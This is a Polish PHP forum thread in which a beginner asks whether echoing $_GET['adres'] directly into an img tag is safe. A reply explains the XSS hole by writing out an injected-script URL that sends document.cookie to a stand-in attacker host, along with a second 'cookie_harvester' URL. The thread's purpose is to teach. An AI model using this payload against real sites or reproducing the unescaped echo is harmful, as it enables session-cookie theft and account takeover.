Bezpieczeństwo.., Kod bezpieczny? Opcje

[lol666]

Pytam się na wszelki wypadek.

[PHP] pobierz, plaintext 
<?php
  echo '<img src="' . $_GET['adres'] . '">';
?>
[PHP] pobierz, plaintext 

Są jakieś inne metody umieszczania grafik w php?
Z góry dzięki.

[dr_bonzo]

2. Apropo mojego kodu nie rozumiem jak ktoś miałby zagrozić mojemy skryptowi (sry jestem zielony w php). Podajcie może jakiś przykład.

[PHP] pobierz, plaintext 
<?php
  echo '<img src="' . $_GET['adres'] . '">';
?>
[PHP] pobierz, plaintext 

index.php?adres="><script>document.location='http://www.strona-hackera.com/cgi-bin/cookie.cgi? '%20+document.cookie</script>

cos w tym stylu -- czyli haker (cracker -- no niewazne) pobierze wartosc naszego ciacha sesyjnego, co moze mu pozwolic zalogowac sie na nasze konto bez znajomosci hasla.

Przyklad stad: http://www.cgisecurity.com/articles/xss-faq.shtml


index.php?adres="http://server.hackera.com/cookie_harvester.php?